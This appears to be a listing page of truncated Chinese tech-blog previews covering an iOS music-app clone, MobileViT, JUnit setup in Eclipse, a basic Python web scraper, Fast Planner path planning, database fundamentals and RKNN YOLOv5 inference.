网易云音乐 启动页发现定时器控制轮播图UIButtonConfiguration 发现换头像 我的总结 启动页 这里我的启动页是使用Xcode自带的启动功能&#xff0c;将图片放置在LaunchScreen中即可。这里也可以通过定时器控制&#xff0c;来实现启动的效果 效果图&#xff1a; 这里放一篇大…

31_MobileViT网络讲解

VIT:https://blog.csdn.net/qq_51605551/article/details/140445491?spm1001.2014.3001.5501 1.1 简介 MobileVIT是“Mobile Vision Transformer”的简称&#xff0c;是一种专门为移动设备设计的高效视觉模型。它结合了Transformer架构的优点与移动优先的设计原则&#xff0…

在eclipse中导入本地的jar包配置Junit环境步骤(包含Junit中的方法一直标红的解决方法)

搭建JUnit环境 一、配置环境 跟上一篇的那种方法不一样&#xff0c;直接Add to Build Path 是先将jar包复制到项目的lib目录下&#xff0c;然后直接添加 选定项目>>>右键>>>Bulid Path>>>Add Libraries>>>Configure Build Path(配置构建路…

python—爬虫爬取电影页面实例

下面是一个简单的爬虫实例&#xff0c;使用Python的requests库来发送HTTP请求&#xff0c;并使用lxml库来解析HTML页面内容。这个爬虫的目标是抓取一个电影网站&#xff0c;并提取每部电影的主义部分。 首先&#xff0c;确保你已经安装了requests和lxml库。如果没有安装&#x…

Fast Planner规划算法(一)—— Fast Planner前端

本系列文章用于回顾学习记录Fast-Planner规划算法的相关内容&#xff0c;【本系列博客写于2023年9月&#xff0c;共包含四篇文章&#xff0c;现在进行补发第一篇&#xff0c;其余几篇文章将在近期补发】 一、Fast Planner前端 Fast Planner的轨迹规划部分一共分为三个模块&…

4.基础知识-数据库技术基础

基础知识 一、数据库基本概念1、数据库系统基础知识2、三级模式-两级映像3、数据库设计4、数据模型&#xff1a;4.1 E-R模型★4.2 关系模型★ 5、关系代数 二、规范化和并发控制1、函数依赖2、键与约束3、范式★3.1 第一范式1NF实例3.2 第二范式2NF3.3 第三范式3NF3.4 BC范式BC…

rockchip的yolov5 rknn python推理分析

rockchip的yolov5 rknn推理分析 对于rockchip给出的这个yolov5后处理代码的分析&#xff0c;本人能力十分有限&#xff0c;可能有的地方描述的很不好&#xff0c;欢迎大家和我一起讨论&#xff0c;指出我的错误&#xff01;&#xff01;&#xff01; RKNN模型输出 将官方的Y…